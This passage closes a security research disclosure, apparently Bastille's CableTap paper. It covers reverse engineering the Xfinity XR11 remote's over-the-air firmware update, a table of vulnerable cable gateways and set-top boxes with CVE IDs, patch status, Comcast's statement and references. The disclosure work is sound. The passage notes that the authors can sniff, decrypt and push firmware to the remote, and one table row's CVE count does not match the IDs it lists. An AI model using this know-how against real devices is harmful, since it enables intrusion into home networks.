The XR11 remote uses a TI CC2530 transceiver which we suspect uses RemoteTI 1.3.1. This platform offers OAD (over-the-air download) capabilities. RemoteTI offers valuable documentation on the OAD procedure and the memory layout for the active image and download image locations, which helps with binary reverse engineering.

OTA Protocol Reverse Engineering

The included source code already has the ability to sniff and decrypt traffic, and since we can control the firmware image pushed to the remote, this effort should not be too onerous.

Known Affected Devices

Table 4: Devices demonstrated to be vulnerable to CableTap

Vendor	Model	Device Type	Tested ISP	CVE Count	CVE IDs
Cisco	DPC3939	Wireless Gateway	Xfinity	16	CVE-2017-9476 CVE-2017-9477 CVE-2017-9478 CVE-2017-9479 CVE-2017-9480 CVE-2017-9481 CVE-2017-9482 CVE-2017-9483 CVE-2017-9484 CVE-2017-9485 CVE-2017-9486 CVE-2017-9487 CVE-2017-9488 CVE-2017-9521 CVE-2017-9491 CVE-2017-9492
Cisco	DPC3939B	Wireless Gateway	Comcast Business	13	CVE-2017-9478 CVE-2017-9479 CVE-2017-9480 CVE-2017-9481 CVE-2017-9482 CVE-2017-9483 CVE-2017-9486 CVE-2017-9487 CVE-2017-9489 CVE-2017-9490 CVE-2017-9521 CVE-2017-9491 CVE-2017-9492
Technicolor	DPC3941T	Wireless Gateway	Xfinity	11	CVE-2017-9476 CVE-2017-9478 CVE-2017-9479 CVE-2017-9480 CVE-2017-9486 CVE-2017-9487 CVE-2017-9488 CVE-2017-9521 CVE-2017-9491 CVE-2017-9492
Arris	TG1682G	Wireless Gateway	Xfinity	12	CVE-2017-9476 CVE-2017-9478 CVE-2017-9479 CVE-2017-9480 CVE-2017-9483 CVE-2017-9487 CVE-2017-9488 CVE-2017-9489 CVE-2017-9490 CVE-2017-9521 CVE-2017-9491 CVE-2017-9492

Vendor	Model	Device Type	Tested ISP	CVE Count	CVE IDs
Technicolor	TG8717T	Wireless Gateway	Time Warner	1	CVE-2017-9522
Motorola	MX011ANM	Set-Top Box	Xfinity	6	CVE-2017-9493
					CVE-2017-9494
					CVE-2017-9495
					CVE-2017-9496
					CVE-2017-9497
					CVE-2017-9498
Xfinity	XR11-20	RF Voice Remote	Xfinity	1	CVE-2017-9498

Remediation

Patches for many of the reported vulnerabilities have been pushed to the public RDK git repositories, including patches for several code execution vulnerabilities. Tests show that the unauthenticated code execution attack chains are no longer possible on the Comcast XFINITY devices we tested.

Comcast Vendor Statement

The following statement was provided by Comcast to include in this document.

Nothing is more important than our customers' safety, and we appreciate Bastille bringing these matters to our attention. We have made a number of updates to our software and systems to prevent the issues Bastille identified from impacting Comcast customers, including breaking the attack chains Bastille described in this paper.

Bastille has confirmed that these updates work, and that the attack chains the company described in this paper can no longer be used. In addition, we have further hardened our systems to address new threats related to the underlying vulnerabilities described here. As of this writing, we have completed and rolled out these changes for the vast majority of Comcast customers. We anticipate finishing those efforts before this paper is published.

We know of no situation in which these issues were ever used against Comcast customers outside of Bastille's testing.

At Comcast, we perform security testing, both during product development and after product launch, in an ongoing effort to make our products more secure. We also work with independent security researchers who come to us with issues. When we are notified about an issue we move quickly to assess and resolve it. The work of independent security researchers plays a valuable role in our ongoing commitment to keeping our customers safe and secure.

References

1 MouseJack. Retrieved July 2, 2017, from https://www.bastille.net/research/vulnerabilities/mousejack

2 KeySniffer. Retrieved July 2, 2017, from https://www.bastille.net/research/vulnerabilities/keysniffer

3 In Stickers We Trust: Breaking Naive ESSID/WPA2 Key Generation Algorithms. Retrieved July 2, 2017, from https://conference.hitb.org/hitbsecconf2016ams/sessions/in-stickers-we-trust-breaking-naive-essidwpa2-key-generation-algorithms/

4 RDK Central. Retrieved July 2, 2017, from http://rdkcentral.com/

5 Cisco DPC3939 (XB3) Router Administrative Web Interface Command Injection Vulnerability. Retrieved July 2, 2017, from https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20151208-xb3

6 rdkb-Utopia/source/sysevent/. Retrieved July 2, 2017, from https://github.com/rdkcmf/rdkb-Utopia/tree/master/source/sysevent

7 RDK Overview. Retrieved July 2, 2017, from https://wiki.rdkcentral.com/display/RDKB/RDK+Overview#RDKOverview-Bythesourceorcomponentowner

8 RDK take-up surges to 25m+ devices. Retrieved July 2, 2017, from http://rdkcentral.com/rdk-take-up-surges-to-25m-devices/

9 Three's Company In RDK Consortium: LIBERTY GLOBAL JOINS COMCAST, TWC AS MEMBER. Retrieved July 2, 2017, from https://rdkcentral.com/threes-company-in-rdk-consortium-liberty-global-joins-comcast-twc-as-member/

10 COMCAST AND TIME WARNER CABLE FORM RDK MANAGEMENT, LLC. Retrieved July 2, 2017, from http://corporate.comcast.com/news-information/news-feed/comcast-and-time-warner-cable-form-rdk-management-llc

11 RDK Community. Retrieved July 2, 2017, from http://rdkcentral.com/rdkcommunity/

12 Join RDK. Retrieved July 2, 2017, from http://rdkcentral.com/join-rdk/

13 Projects. Retrieved July 2, 2017, from https://code.rdkcentral.com/r/#/admin/projects/

14 RDK CMF. Retrieved July 2, 2017, from https://github.com/rdkcmf

15 status: nerged. Retrieved July 2, 2017, from https://code.rdkcentral.com/r/#/q/status:merged

16 Cisco Open Source CPE components. Retrieved July 2, 2017, from https://github.com/cisco-belvedere/cisco-opensource-cpe

17 RDK Central Wiki Home. Retrieved July 2, 2017, from https://wiki.rdkcentral.com/display/RDKB/RDK+Central+Wiki+Home

18 cisco-opensource-cpe/docs. Retrieved July 2, 2017, from https://github.com/cisco-belvedere/cisco-opensource-cpe/tree/master/docs

19 You Asked! We Delivered! Over 15 Million Wi-Fi Hotspots. Retrieved July 2, 2017, from http://experience.xfinity.com/you-asked-we-delivered-over-15-million-wi-fi-hotspots/

20 XFINITY WiFi Home Hotspot. Retrieved July 2, 2017, from https://www.xfinity.com/support/internet/xfinity-wifi-hotspots/

21 rdkb-Utopia/source/igd/src/igd_device_root.c. Retrieved July 2, 2017, from https://github.com/rdkcmf/rdkb-Utopia/blob/b9d1a0ccbfda434f59208c3aaac5f09f527c3da0/source/igd/src/igd_device_root.c#L108

22 XML/PSM/nvram/bbhm_bak_cfg.xml. Retrieved July 2, 2017, from https://code.rdkcentral.com/r/plugins/gitiles/rdkb/devices/rdkbemu/ccsp/rdkb/+/6a6ffe7745110dd5111ecde54e8feafbe65cd4d3/XML/PSM/nvram/bbhm_bak_cfg.xml#724

23 rdkb-webui/source/Styles/xb3/code/check.php. Retrieved July 2, 2017, from https://github.com/rdkcmf/rdkb-webui/blob/f2a6871f405bc873c5741acb359b1010cf34cc3e/source/Styles/xb3/code/check.php#L15-L29

24 List of multiple-system operators. Retrieved July 2, 2017, from https://en.wikipedia.org/wiki/List_of_multiple-system_operators

25 rdkb-Utopia/source/scripts/init/service.d/service_crond.sh. Retrieved July 2, 2017, from https://github.com/

rdkcmf/rdkb-Utopia/blob/bf62a45daccb7999c8ca59d6ec0f4dd9bc36b45a/source/scripts/init/service.d/service_crond.sh#L147-L148

26 rdkb-Utopia/source/scripts/init/service.d/service_potd.sh. Retrieved July 2, 2017, from https://github.com/rdkcmf/rdkb-Utopia/blob/1ec80ccb1d8378a7e9f26af973a51baa5b930b17/source/scripts/init/service.d/service_potd.sh

27 Pair Your XFINITY Remote to Control Your TV Box. Retrieved July 2, 2017, from https://www.xfinity.com/support/cable-tv/remote-program-the-xr2-or-xr5-to-aim-anywhere/